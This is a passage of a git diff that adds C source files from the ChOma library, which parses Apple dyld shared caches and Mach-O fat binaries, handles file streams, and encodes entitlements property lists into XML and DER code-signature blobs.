^(DyldSharedCachePointer *pointer, bool *stop2){ + enumeratorBlock(pointer, &stopAll); + *stop2 = stopAll; + }); + } + } + *stop = stopAll; + }); + } + return 0; +} + +uint64_t dsc_get_base_address(DyldSharedCache *sharedCache) +{ + return sharedCache->baseAddress; +} + +void dsc_free(DyldSharedCache *sharedCache) +{ + if (sharedCache->fileCount > 0) { + for (unsigned i = 0; i < sharedCache->fileCount; i++) { + close(sharedCache->files[i]->fd); + free(sharedCache->files[i]->filepath); + free(sharedCache->files[i]); + } + free(sharedCache->files); + } + if (sharedCache->mappings) { + for (unsigned i = 0; i < sharedCache->mappingCount; i++) { + if (!sharedCache->premapSlide && sharedCache->mappings[i].ptr) { + munmap(sharedCache->mappings[i].ptr, sharedCache->mappings[i].size); + } + if (sharedCache->mappings[i].slideInfoPtr) { + free(sharedCache->mappings[i].slideInfoPtr); + } + } + free(sharedCache->mappings); + } + if (sharedCache->containedImages) { + for (unsigned i = 0; i < sharedCache->containedImageCount; i++) { + if (sharedCache->containedImages[i].path) { + free(sharedCache->containedImages[i].path); + } + if (sharedCache->containedImages[i].fat) { + fat_free(sharedCache->containedImages[i].fat); + } + } + free(sharedCache->containedImages); + } + if (sharedCache->symbolFile.strings) { + uintptr_t stringsPage = (uintptr_t)sharedCache->symbolFile.strings & ~PAGE_MASK; + uintptr_t stringsPageOff = (uintptr_t)sharedCache->symbolFile.strings & PAGE_MASK; + munmap((void *)stringsPage, sharedCache->symbolFile.stringsSize + stringsPageOff); + } + if (sharedCache->symbolFile.nlist) { + free(sharedCache->symbolFile.nlist); + } + free(sharedCache); +} diff --git a/XPF/external/ChOma/src/DyldSharedCache.h b/XPF/external/ChOma/src/DyldSharedCache.h new file mode 100644 index 0000000..b89956d --- /dev/null +++ b/XPF/external/ChOma/src/DyldSharedCache.h @@ -0,0 +1,116 @@ +#ifndef DYLD_SHARED_CACHE_H +#define DYLD_SHARED_CACHE_H + +#include "dyld_cache_format.h" +#include +#include "CachePatching.h" +#include +#include +typedef struct MachO MachO; +typedef struct Fat Fat; + +typedef struct DyldSharedCacheFile { + char *filepath; + size_t filesize; + int fd; + struct dyld_cache_header header; +} DyldSharedCacheFile; + +typedef struct DyldSharedCacheMapping { + uint64_t vmaddr; + uint64_t fileoff; + void *ptr; + uint64_t size; + uint32_t maxProt; + uint32_t initProt; + uint64_t flags; + // ABI stable until here + void *slideInfoPtr; + uint64_t slideInfoSize; + struct DyldSharedCacheFile *file; +} DyldSharedCacheMapping; + +typedef struct DyldSharedCacheImage { + uint64_t address; + uint64_t size; + uint64_t index; + uuid_t uuid; + char *path; + uint32_t nlistStartIndex; + uint32_t nlistCount; + Fat *fat; +} DyldSharedCacheImage; + +typedef struct DyldSharedCache { + unsigned fileCount; + DyldSharedCacheFile **files; + + struct { + bool loaded; + unsigned index; + void *nlist; + uint32_t nlistCount; + char *strings; + uint32_t stringsSize; + } symbolFile; + + unsigned mappingCount; + DyldSharedCacheMapping *mappings; + uint64_t baseAddress; + uint32_t premapSlide; + uint32_t cputype; + uint32_t cpusubtype; + + uint64_t containedImageCount; + DyldSharedCacheImage *containedImages; +} DyldSharedCache; + +typedef struct DyldSharedCachePointer { + uint64_t location; + uint64_t target; + + bool authenticated; + uint8_t key; + uint16_t diversifier; + bool hasAddressDiversity; +} DyldSharedCachePointer; + +enum PAC_KEY { + PAC_KEY_IA = 0, + PAC_KEY_IB = 1, + PAC_KEY_DA = 2, + PAC_KEY_DB = 3, +}; + +DyldSharedCache *dsc_init_from_path_premapped(const char *path, uint32_t premapSlide); +DyldSharedCache *dsc_init_from_path(const char *path); +bool dsc_is32bit(DyldSharedCache *sharedCache); +void dsc_enumerate_files(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *filepath, size_t filesize, struct dyld_cache_header *header)); + +void dsc_enumerate_mappings(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCacheMapping *mapping, DyldSharedCacheFile *sourceFile, bool *stop)); +DyldSharedCacheMapping *dsc_lookup_mapping(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size); +void *dsc_find_buffer(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size); + +int dsc_read_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, size_t size, void *outBuf); +int dsc_read_string_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, char **outString); +uint64_t dsc_fileoff_to_vmaddr(DyldSharedCache *sharedCache, DyldSharedCacheFile *file, uint64_t fileoff); +uint64_t dsc_vmaddr_to_fileoff(DyldSharedCache *sharedCache, uint64_t vmaddr, DyldSharedCacheFile **fileOut); + +void dsc_enumerate_images(DyldSharedCache *sharedCache, void (^enumeratorBlock)(const char *path, DyldSharedCacheImage *imageHandle, MachO *imageMachO, bool *stop)); +DyldSharedCacheImage *dsc_find_image_for_section_address(DyldSharedCache *sharedCache, uint64_t address); +MachO *dsc_image_get_macho(DyldSharedCacheImage *image); +DyldSharedCacheImage *dsc_lookup_image_by_address(DyldSharedCache *sharedCache, uint64_t address); +MachO *dsc_lookup_macho_by_address(DyldSharedCache *sharedCache, uint64_t address, DyldSharedCacheImage **imageHandleOut); +DyldSharedCacheImage *dsc_lookup_image_by_path(DyldSharedCache *sharedCache, const char *path); +MachO *dsc_lookup_macho_by_path(DyldSharedCache *sharedCache, const char *path, DyldSharedCacheImage **imageHandleOut); +int dsc_enumerate_chained_fixups(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)); + +int dsc_image_enumerate_symbols(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(const char *name, uint8_t type, uint64_t vmaddr, bool *stop)); +int dsc_image_enumerate_patches(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(unsigned v, void *patchable_location, bool *stop)); +int dsc_image_enumerate_chained_fixups(DyldSharedCache *sharedCache, DyldSharedCacheImage *image, void (^enumeratorBlock)(DyldSharedCachePointer *pointer, bool *stop)); + +uint64_t dsc_get_base_address(DyldSharedCache *sharedCache); + +void dsc_free(DyldSharedCache *sharedCache); + +#endif diff --git a/XPF/external/ChOma/src/Entitlements.c b/XPF/external/ChOma/src/Entitlements.c new file mode 100644 index 0000000..141ee8e --- /dev/null +++ b/XPF/external/ChOma/src/Entitlements.c @@ -0,0 +1,508 @@ +#include +#include +#include +#include +#include + +#include "CSBlob.h" +#include "MachO.h" +#include "MemoryStream.h" +#include "FileStream.h" +#include "MachOByteOrder.h" +#include "Entitlements.h" + +CFDataRef get_property_list_data(CFPropertyListRef plist) { + CFDataRef data = NULL; + CFErrorRef error = NULL; + + data = CFPropertyListCreateData( + kCFAllocatorDefault, + plist, + kCFPropertyListXMLFormat_v1_0, + 0, + &error + ); + + if (data == NULL) { + if (error != NULL) { + CFShow(error); + CFRelease(error); + } + } + + return data; +} + +CFPropertyListRef create_property_list_from_file(const char *xmlFile) { + FILE *file = fopen(xmlFile, "rb"); + if (file == NULL) { + fprintf(stderr, "Error: failed to open entitlements file\n"); + return NULL; + } + + fseek(file, 0, SEEK_END); + size_t entitlementsSize = ftell(file); + fseek(file, 0, SEEK_SET); + + void *entitlements = malloc(entitlementsSize); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements file\n"); + fclose(file); + return NULL; + } + + if (fread(entitlements, 1, entitlementsSize, file) != entitlementsSize) { + fprintf(stderr, "Error: failed to read entitlements file\n"); + free(entitlements); + fclose(file); + return NULL; + } + + fclose(file); + CFDataRef entitlementsData = CFDataCreate(NULL, entitlements, entitlementsSize); + if (entitlementsData == NULL) { + fprintf(stderr, "Error: failed to create CFData from entitlements file\n"); + free(entitlements); + return NULL; + } + + CFPropertyListFormat format; + CFErrorRef error; + CFPropertyListRef entitlementsPlist = CFPropertyListCreateWithData(NULL, entitlementsData, kCFPropertyListMutableContainersAndLeaves, &format, &error); + if (entitlementsPlist == NULL) { + fprintf(stderr, "Error: failed to parse entitlements file\n"); + CFRelease(entitlementsData); + CFRelease(error); + free(entitlements); + return NULL; + } + + CFRelease(entitlementsData); + free(entitlements); + + return entitlementsPlist; +} + +CS_DecodedBlob *create_xml_entitlements_blob(const char *entitlementsFile) { + + CFPropertyListRef entitlementsPlist = create_property_list_from_file(entitlementsFile); + if (entitlementsPlist == NULL) { + fprintf(stderr, "Error: failed to create property list from entitlements file\n"); + return NULL; + } + + CFDataRef entitlementsPlistData = get_property_list_data(entitlementsPlist); + if (entitlementsPlistData == NULL) { + fprintf(stderr, "Error: failed to convert entitlements property list to data\n"); + CFRelease(entitlementsPlist); + return NULL; + } + + uint32_t *genericBlob = malloc(sizeof(CSMAGIC_EMBEDDED_ENTITLEMENTS) + sizeof(uint32_t) + CFDataGetLength(entitlementsPlistData)); + if (genericBlob == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements blob\n"); + CFRelease(entitlementsPlist); + CFRelease(entitlementsPlistData); + return NULL; + } + + // Messy, but it works + *genericBlob = HOST_TO_BIG(CSMAGIC_EMBEDDED_ENTITLEMENTS); + uint32_t totalSize = sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t) + CFDataGetLength(entitlementsPlistData); + *(genericBlob + 1) = HOST_TO_BIG(totalSize); + memcpy((char *)genericBlob + sizeof(CSMAGIC_EMBEDDED_ENTITLEMENTS) + sizeof(uint32_t), CFDataGetBytePtr(entitlementsPlistData), CFDataGetLength(entitlementsPlistData)); + + CS_DecodedBlob *entitlementsBlob = csd_blob_init(CSSLOT_ENTITLEMENTS, (CS_GenericBlob *)genericBlob); + if (entitlementsBlob == NULL) { + fprintf(stderr, "Error: failed to create entitlements blob\n"); + free(genericBlob); + } + + CFRelease(entitlementsPlist); + CFRelease(entitlementsPlistData); + + return entitlementsBlob; +} + +enum EntitlementType { + ENTITLEMENT_TYPE_BOOL, + ENTITLEMENT_TYPE_INT, + ENTITLEMENT_TYPE_STRING, + ENTITLEMENT_TYPE_ARRAY, +}; + +enum ArrayType { + ARRAY_TYPE_STRING, + ARRAY_TYPE_INT, +}; + +typedef struct { + uint32_t nItems; + enum ArrayType type; + void *items; +} EntitlementArray; + +typedef struct { + enum EntitlementType type; + union { + bool boolValue; + int intValue; + char *stringValue; + EntitlementArray arrayValue; + }; +} EntitlementValue; + +typedef struct { + char *key; + EntitlementValue value; +} Entitlement; + +typedef struct { + uint32_t nEntitlements; + Entitlement *entitlements; +} Entitlements; + +void print_entitlement_information(Entitlement *entitlement) { + printf("Key: %s\n", entitlement->key); + switch (entitlement->value.type) { + case ENTITLEMENT_TYPE_BOOL: + printf("Value: %s\n", entitlement->value.boolValue ? "true" : "false"); + break; + case ENTITLEMENT_TYPE_INT: + printf("Value: %d\n", entitlement->value.intValue); + break; + case ENTITLEMENT_TYPE_STRING: + printf("Value: %s\n", entitlement->value.stringValue); + break; + case ENTITLEMENT_TYPE_ARRAY: + printf("Values:\n"); + for (int i = 0; i < entitlement->value.arrayValue.nItems; i++) { + printf("%d: %s\n", i + 1, ((char **)entitlement->value.arrayValue.items)[i]); + } + break; + } +} + +DEREncodedItem *der_encode_array(EntitlementArray array) { + // Encode each item in the array, then create a sequence of the items + DEREncodedItem **items = malloc(sizeof(DEREncodedItem *) * array.nItems); + for (int i = 0; i < array.nItems; i++) { + // Encode the item + if (array.type == ARRAY_TYPE_STRING) { + items[i] = der_encode_utf8_string(((char **)array.items)[i]); + } else { + items[i] = der_encode_integer(((int *)array.items)[i]); + } + } + + // Create a sequence of the items + DEREncodedItem *sequence = der_encode_sequence(items, array.nItems); + if (sequence == NULL) { + fprintf(stderr, "Error: failed to encode sequence\n"); + return NULL; + } + + // Free the encoded items + for (int i = 0; i < array.nItems; i++) { + der_free_encoded_item(items[i]); + } + free(items); + + return sequence; +} + +DEREncodedItem *der_encode_entitlement(Entitlement entitlement) { + if (!entitlement.key) { + fprintf(stderr, "Error: missing entitlement key\n"); + return NULL; + } + + DEREncodedItem *key = der_encode_utf8_string(entitlement.key); + if (key == NULL) { + fprintf(stderr, "Error: failed to encode entitlement key\n"); + return NULL; + } + DEREncodedItem *value = NULL; + switch (entitlement.value.type) { + case ENTITLEMENT_TYPE_BOOL: + value = der_encode_boolean(entitlement.value.boolValue); + break; + case ENTITLEMENT_TYPE_INT: + value = der_encode_integer(entitlement.value.intValue); + break; + case ENTITLEMENT_TYPE_STRING: + value = der_encode_utf8_string(entitlement.value.stringValue); + break; + case ENTITLEMENT_TYPE_ARRAY: + value = der_encode_array(entitlement.value.arrayValue); + break; + } + + if (value == NULL) { + fprintf(stderr, "Error: failed to encode entitlement value\n"); + der_free_encoded_item(key); + return NULL; + } + + DEREncodedItem *items[] = {key, value}; + + DEREncodedItem *sequence = der_encode_sequence(items, 2); + if (sequence == NULL) { + fprintf(stderr, "Error: failed to encode sequence\n"); + der_free_encoded_item(key); + der_free_encoded_item(value); + return NULL; + } + + der_free_encoded_item(key); + der_free_encoded_item(value); + + return sequence; +} + +DEREncodedItem *der_encode_entitlements(DEREncodedItem *entitlements[], uint32_t nEntitlements) { + DEREncodedItem *entitlementsSet = der_encode_set(entitlements, nEntitlements); + if (entitlementsSet == NULL) { + fprintf(stderr, "Error: failed to encode set of entitlements\n"); + return NULL; + } + + for(int i = 0; i < nEntitlements; i++) { + der_free_encoded_item(entitlements[i]); + } + + return entitlementsSet; +} + +static void append_to_entitlements(const void* key, const void* value, void* context) { + Entitlements *entitlements = (Entitlements *)context; + + CFStringRef keyString = (CFStringRef)key; + CFIndex keyLength = CFStringGetLength(keyString); + CFIndex maxSize = CFStringGetMaximumSizeForEncoding(keyLength, kCFStringEncodingUTF8); + char *keyCString = malloc(maxSize); + if (keyCString == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement key\n"); + return; + } + + if (!CFStringGetCString(keyString, keyCString, maxSize, kCFStringEncodingUTF8)) { + fprintf(stderr, "Error: failed to convert entitlement key to C string\n"); + free(keyCString); + return; + } + + EntitlementValue entitlementValue; + + CFTypeID valueType = CFGetTypeID(value); + if (valueType == CFBooleanGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_BOOL; + entitlementValue.boolValue = CFBooleanGetValue((CFBooleanRef)value); + } else if (valueType == CFNumberGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_INT; + CFNumberGetValue((CFNumberRef)value, kCFNumberSInt32Type, &entitlementValue.intValue); + } else if (valueType == CFStringGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_STRING; + CFIndex valueLength = CFStringGetLength((CFStringRef)value); + CFIndex maxSize = CFStringGetMaximumSizeForEncoding(valueLength, kCFStringEncodingUTF8); + char *valueCString = malloc(maxSize); + if (valueCString == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement value\n"); + free(keyCString); + return; + } + + if (!CFStringGetCString((CFStringRef)value, valueCString, maxSize, kCFStringEncodingUTF8)) { + fprintf(stderr, "Error: failed to convert entitlement value to C string\n"); + free(keyCString); + free(valueCString); + return; + } + + entitlementValue.stringValue = valueCString; + } else if (valueType == CFArrayGetTypeID()) { + entitlementValue.type = ENTITLEMENT_TYPE_ARRAY; + CFArrayRef array = (CFArrayRef)value; + CFIndex nItems = CFArrayGetCount(array); + char **items = malloc(sizeof(char *) * nItems); + if (items == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement array\n"); + free(keyCString); + return; + } + + for (int i = 0; i < nItems; i++) { + CFStringRef item = (CFStringRef)CFArrayGetValueAtIndex(array, i); + CFIndex itemLength = CFStringGetLength(item); + CFIndex maxSize = CFStringGetMaximumSizeForEncoding(itemLength, kCFStringEncodingUTF8); + char *itemCString = malloc(maxSize); + if (itemCString == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlement\n"); + for (int j = 0; j < i; j++) { + free(items[j]); + } + free(items); + free(keyCString); + return; + } + + if (!CFStringGetCString(item, itemCString, maxSize, kCFStringEncodingUTF8)) { + fprintf(stderr, "Error: failed to convert entitlement to C string\n"); + for (int j = 0; j < i; j++) { + free(items[j]); + } + free(items); + free(keyCString); + free(itemCString); + return; + } + + items[i] = itemCString; + } + + EntitlementArray arrayValue = { + .nItems = nItems, + .type = ARRAY_TYPE_STRING, + .items = items, + }; + + entitlementValue.arrayValue = arrayValue; + + } else { + fprintf(stderr, "Error: unknown entitlement value type\n"); + free(keyCString); + return; + } + + Entitlement newEntitlement = { + .key = keyCString, + .value = entitlementValue, + }; + + // print_entitlement_information(&newEntitlement); + + entitlements->entitlements[entitlements->nEntitlements] = newEntitlement; + entitlements->nEntitlements++; + return; +} + +Entitlements *parse_entitlements_from_property_list(const char *entitlementsFile) { + CFPropertyListRef entitlementsPlist = create_property_list_from_file(entitlementsFile); + if (entitlementsPlist == NULL) { + fprintf(stderr, "Error: failed to create property list from entitlements file\n"); + return NULL; + } + + if (CFGetTypeID(entitlementsPlist) != CFDictionaryGetTypeID()) { + fprintf(stderr, "Error: entitlements file is not a dictionary\n"); + CFRelease(entitlementsPlist); + return NULL; + } + + CFDictionaryRef entitlementsDict = (CFDictionaryRef)entitlementsPlist; + + CFIndex nEntitlements = CFDictionaryGetCount(entitlementsDict); + + Entitlements *entitlements = malloc(sizeof(Entitlements)); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements\n"); + CFRelease(entitlementsPlist); + return NULL; + } + + entitlements->nEntitlements = 0; + entitlements->entitlements = malloc(sizeof(Entitlement) * nEntitlements); + + if (entitlements->entitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements\n"); + CFRelease(entitlementsPlist); + free(entitlements); + return NULL; + } + + CFDictionaryApplyFunction(entitlementsDict, append_to_entitlements, entitlements); + + CFRelease(entitlementsPlist); + + return entitlements; +} + +DEREncodedItem *encode_entitlements_property_list(const char *entitlementsFile) { + Entitlements *entitlements = parse_entitlements_from_property_list(entitlementsFile); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to parse entitlements\n"); + return NULL; + } + + printf("Parsed %d entitlements from entitlements file.\n", entitlements->nEntitlements); + + DEREncodedItem **encodedEntitlements = malloc(sizeof(DEREncodedItem *) * entitlements->nEntitlements); + if (encodedEntitlements == NULL) { + fprintf(stderr, "Error: failed to allocate memory for encoded entitlements\n"); + free(entitlements->entitlements); + free(entitlements); + return NULL; + } + + for (int i = 0; i < entitlements->nEntitlements; i++) { + encodedEntitlements[i] = der_encode_entitlement(entitlements->entitlements[i]); + if (encodedEntitlements[i] == NULL) { + fprintf(stderr, "Error: failed to encode entitlement\n"); + for (int j = 0; j < i; j++) { + der_free_encoded_item(encodedEntitlements[j]); + } + free(encodedEntitlements); + free(entitlements->entitlements); + free(entitlements); + return NULL; + } + } + + DEREncodedItem *entitlementsSet = der_encode_entitlements(encodedEntitlements, entitlements->nEntitlements); + if (entitlementsSet == NULL) { + fprintf(stderr, "Error: failed to encode entitlements\n"); + for (int i = 0; i < entitlements->nEntitlements; i++) { + der_free_encoded_item(encodedEntitlements[i]); + } + free(encodedEntitlements); + free(entitlements->entitlements); + free(entitlements); + return NULL; + } + free(encodedEntitlements); + free(entitlements->entitlements); + free(entitlements); + + return entitlementsSet; +} + +CS_DecodedBlob *create_der_entitlements_blob(const char *entitlementsFile) { + DEREncodedItem *entitlements = encode_entitlements_property_list(entitlementsFile); + if (entitlements == NULL) { + fprintf(stderr, "Error: failed to encode entitlements\n"); + return NULL; + } + + uint32_t *genericBlob = malloc(sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t) + entitlements->length); + if (genericBlob == NULL) { + fprintf(stderr, "Error: failed to allocate memory for entitlements blob\n"); + der_free_encoded_item(entitlements); + return NULL; + } + + *genericBlob = HOST_TO_BIG(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS); + uint32_t totalSize = sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t) + entitlements->length; + *(genericBlob + 1) = HOST_TO_BIG(totalSize); + + memcpy((char *)genericBlob + sizeof(CSMAGIC_EMBEDDED_DER_ENTITLEMENTS) + sizeof(uint32_t), entitlements->data, entitlements->length); + + CS_DecodedBlob *entitlementsBlob = csd_blob_init(CSSLOT_ENTITLEMENTS, (CS_GenericBlob *)genericBlob); + if (entitlementsBlob == NULL) { + fprintf(stderr, "Error: failed to create entitlements blob\n"); + free(genericBlob); + } + + der_free_encoded_item(entitlements); + + return entitlementsBlob; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Entitlements.h b/XPF/external/ChOma/src/Entitlements.h new file mode 100644 index 0000000..d7c732a --- /dev/null +++ b/XPF/external/ChOma/src/Entitlements.h @@ -0,0 +1,9 @@ +#ifndef ENTITLEMENTS_H +#define ENTITLEMENTS_H + +#include "CSBlob.h" +#include "DER.h" +CS_DecodedBlob *create_xml_entitlements_blob(const char *entitlementsFile); +CS_DecodedBlob *create_der_entitlements_blob(const char *entitlementsFile); + +#endif // ENTITLEMENTS_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/Fat.c b/XPF/external/ChOma/src/Fat.c new file mode 100644 index 0000000..438e270 --- /dev/null +++ b/XPF/external/ChOma/src/Fat.c @@ -0,0 +1,219 @@ +#include +#include + +#include "Fat.h" +#include "MachO.h" +#include "MachOByteOrder.h" + +#include "FileStream.h" +#include "MemoryStream.h" + +int fat_read_at_offset(Fat *fat, uint64_t offset, size_t size, void *outBuf) +{ + return memory_stream_read(fat->stream, offset, size, outBuf); +} + +MemoryStream *fat_get_stream(Fat *fat) +{ + return fat->stream; +} + +int fat_parse_slices(Fat *fat) +{ + // Get size of file + size_t fileSize = memory_stream_get_size(fat->stream); + if (fileSize == MEMORY_STREAM_SIZE_INVALID) { + printf("Error: Failed to parse fat slices, memory_stream_get_size returned MEMORY_STREAM_SIZE_INVALID\n"); + return -1; + } + + // Read the fat header + struct fat_header fatHeader; + fat_read_at_offset(fat, 0, sizeof(fatHeader), &fatHeader); + FAT_HEADER_APPLY_BYTE_ORDER(&fatHeader, BIG_TO_HOST_APPLIER); + + // Check if the file is a fat file + if (fatHeader.magic == FAT_MAGIC || fatHeader.magic == FAT_MAGIC_64) { + //printf("Fat header found! Magic: 0x%x.\n", fatHeader.magic); + bool is64 = fatHeader.magic == FAT_MAGIC_64; + + // Sanity check the number of MachOs + if (fatHeader.nfat_arch > 5 || fatHeader.nfat_arch < 1) { + printf("Error: invalid number of MachO slices (%d), this likely means you are not using an iOS MachO.\n", fatHeader.nfat_arch); + return -1; + } + + fat->slicesCount = fatHeader.nfat_arch; + fat->slices = malloc(sizeof(MachO*) * fat->slicesCount); + memset(fat->slices, 0, sizeof(MachO*) * fat->slicesCount); + + // Iterate over all machOs + for (uint32_t i = 0; i < fatHeader.nfat_arch; i++) { + struct fat_arch_64 arch64 = {0}; + if (is64) { + // Read the arch descriptor + fat_read_at_offset(fat, sizeof(struct fat_header) + i * sizeof(arch64), sizeof(arch64), &arch64); + FAT_ARCH_64_APPLY_BYTE_ORDER(&arch64, BIG_TO_HOST_APPLIER); + } + else { + // Read the fat arch structure + struct fat_arch arch = {0}; + fat_read_at_offset(fat, sizeof(struct fat_header) + i * sizeof(arch), sizeof(arch), &arch); + FAT_ARCH_APPLY_BYTE_ORDER(&arch, BIG_TO_HOST_APPLIER); + + // Convert fat_arch to fat_arch_64 + arch64 = (struct fat_arch_64){ + .cputype = arch.cputype, + .cpusubtype = arch.cpusubtype, + .offset = (uint64_t)arch.offset, + .size = (uint64_t)arch.size, + .align = arch.align, + .reserved = 0, + }; + } + + MemoryStream *machOStream = memory_stream_softclone(fat->stream); + int r = memory_stream_trim(machOStream, arch64.offset, fileSize - (arch64.offset + arch64.size)); + if (r == 0) { + fat->slices[i] = macho_init(machOStream, arch64); + if (!fat->slices[i]) return -1; + } + } + } else { + // Not Fat? Parse single slice + + fat->slicesCount = 1; + fat->slices = malloc(sizeof(MachO) * fat->slicesCount); + memset(fat->slices, 0, sizeof(MachO) * fat->slicesCount); + + MemoryStream *machOStream = memory_stream_softclone(fat->stream); + + struct mach_header machHeader; + memory_stream_read(machOStream, 0, sizeof(machHeader), &machHeader); + MACH_HEADER_APPLY_BYTE_ORDER(&machHeader, LITTLE_TO_HOST_APPLIER); + + struct fat_arch_64 singleArch = {0}; + singleArch.cpusubtype = machHeader.cpusubtype; + singleArch.cputype = machHeader.cputype; + singleArch.offset = 0; + singleArch.size = fileSize; + singleArch.align = 0x4000; + + MachO *singleSlice = macho_init(machOStream, singleArch); + if (!singleSlice) return -1; + fat->slices[0] = singleSlice; + } + //printf("Found %u MachO slice%s\n", fat->slicesCount, fat->slicesCount > 1 ? "s." : "."); + return 0; +} + +void fat_enumerate_slices(Fat *fat, void (^enumBlock)(MachO *macho, bool *stop)) +{ + for (uint32_t i = 0; i < fat->slicesCount; i++) { + MachO *curMacho = fat->slices[i]; + bool stop = false; + enumBlock(curMacho, &stop); + if (stop) break; + } +} + +MachO *fat_find_slice(Fat *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype) +{ + for (uint32_t i = 0; i < fat->slicesCount; i++) { + MachO *curMacho = fat->slices[i]; + if (curMacho) { + if (curMacho->machHeader.cputype == cputype && curMacho->machHeader.cpusubtype == cpusubtype) { + return curMacho; + } + } + } + return NULL; +} + +MachO *fat_get_single_slice(Fat *fat) +{ + if (fat->slicesCount == 1) { + return fat->slices[0]; + } + return NULL; +} + +void fat_free(Fat *fat) +{ + if (fat->slices != NULL) { + for (int i = 0; i < fat->slicesCount; i++) { + if (fat->slices[i]) { + macho_free(fat->slices[i]); + } + } + free(fat->slices); + } + if (fat->stream) memory_stream_free(fat->stream); + free(fat); +} + +Fat *fat_init_from_memory_stream(MemoryStream *stream) +{ + Fat *fat = malloc(sizeof(Fat)); + if (!fat) return NULL; + memset(fat, 0, sizeof(Fat)); + + fat->stream = stream; + + if (fat_parse_slices(fat) != 0) goto fail; + + //size_t size = memory_stream_get_size(fat->stream); + //printf("File size 0x%zx bytes, MachO slice count %u.\n", size, fat->slicesCount); + return fat; + +fail: + fat->stream = NULL; // The Fat only "owns" the stream when this function does not fail + fat_free(fat); + return NULL; +} + +Fat *fat_dsc_init_from_memory_stream(MemoryStream *stream, DyldSharedCache *containingCache, DyldSharedCacheImage *cacheImage) +{ + Fat *fat = fat_init_from_memory_stream(stream); + if (fat) { + for (int i = 0; i < fat->slicesCount; i++) { + fat->slices[i]->containingCache = containingCache; + fat->slices[i]->cacheImage = cacheImage; + } + } + return fat; +} + +Fat *fat_init_from_path(const char *filePath) +{ + MemoryStream *stream = file_stream_init_from_path(filePath, 0, FILE_STREAM_SIZE_AUTO, 0); + if (stream) { + Fat *fat = fat_init_from_memory_stream(stream); + if (!fat) { + memory_stream_free(stream); + } + return fat; + } + return NULL; +} + +Fat *fat_create_for_macho_array(char *firstInputPath, MachO **machoArray, int machoArrayCount) { + Fat *fat = fat_init_from_path(firstInputPath); + for (int i = 1; i < machoArrayCount; i++) { + if (fat_add_macho(fat, machoArray[i]) != 0) { + printf("Error: failed to add MachO to Fat.\n"); + fat_free(fat); + return NULL; + } + } + return fat; +} + +int fat_add_macho(Fat *fat, MachO *macho) +{ + fat->slicesCount++; + fat->slices = realloc(fat->slices, sizeof(MachO*) * fat->slicesCount); + if (!fat->slices) return -1; + fat->slices[fat->slicesCount - 1] = macho; + return 0; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/Fat.h b/XPF/external/ChOma/src/Fat.h new file mode 100644 index 0000000..ddfc480 --- /dev/null +++ b/XPF/external/ChOma/src/Fat.h @@ -0,0 +1,57 @@ +#ifndef MACHO_H +#define MACHO_H + +#include +#include +#include +#include +#include +#include + +#include "MemoryStream.h" +typedef struct MachO MachO; +typedef struct DyldSharedCache DyldSharedCache; +typedef struct DyldSharedCacheImage DyldSharedCacheImage; + +// A Fat structure can either represent a fat file with multiple slices, in which the slices will be loaded into the slices attribute +// Or a single slice MachO, in which case it serves as a compatibility layer and the single slice will also be loaded into the slices attribute +typedef struct Fat +{ + MemoryStream *stream; + MachO **slices; + uint32_t slicesCount; + int fileDescriptor; +} Fat; + +int fat_read_at_offset(Fat *fat, uint64_t offset, size_t size, void *outBuf); + +MemoryStream *fat_get_stream(Fat *fat); + +// Initialise a Fat structure from a memory stream +Fat *fat_init_from_memory_stream(MemoryStream *stream); + +// Initialise a FAT structure from a memory stream of something that is inside a dyld shared cache +Fat *fat_dsc_init_from_memory_stream(MemoryStream *stream, DyldSharedCache *containingCache, DyldSharedCacheImage *cacheImage); + +// Initialise a FAT structure using the path to the file +Fat *fat_init_from_path(const char *filePath); + +// Find macho with cputype and cpusubtype in Fat, returns NULL if not found +MachO *fat_find_slice(Fat *fat, cpu_type_t cputype, cpu_subtype_t cpusubtype); + +// Enumerate all slices contained in Fat +void fat_enumerate_slices(Fat *fat, void (^enumBlock)(MachO *macho, bool *stop)); + +// If Fat only has a single slice, return it +MachO *fat_get_single_slice(Fat *fat); + +// Create a Fat structure from an array of MachO structures +Fat *fat_create_for_macho_array(char *firstInputPath, MachO **machoArray, int machoArrayCount); + +// Add a MachO to the Fat structure +int fat_add_macho(Fat *fat, MachO *macho); + +// Free all elements of the Fat structure +void fat_free(Fat *fat); + +#endif // MACHO_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/FileStream.c b/XPF/external/ChOma/src/FileStream.c new file mode 100644 index 0000000..38d13da --- /dev/null +++ b/XPF/external/ChOma/src/FileStream.c @@ -0,0 +1,210 @@ +#include "FileStream.h" +#include +#include +#include + +static int _file_stream_context_is_trimmed(FileStreamContext *context) +{ + return (context->bufferStart != 0 || context->bufferSize != context->fileSize); +} + +static int file_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void 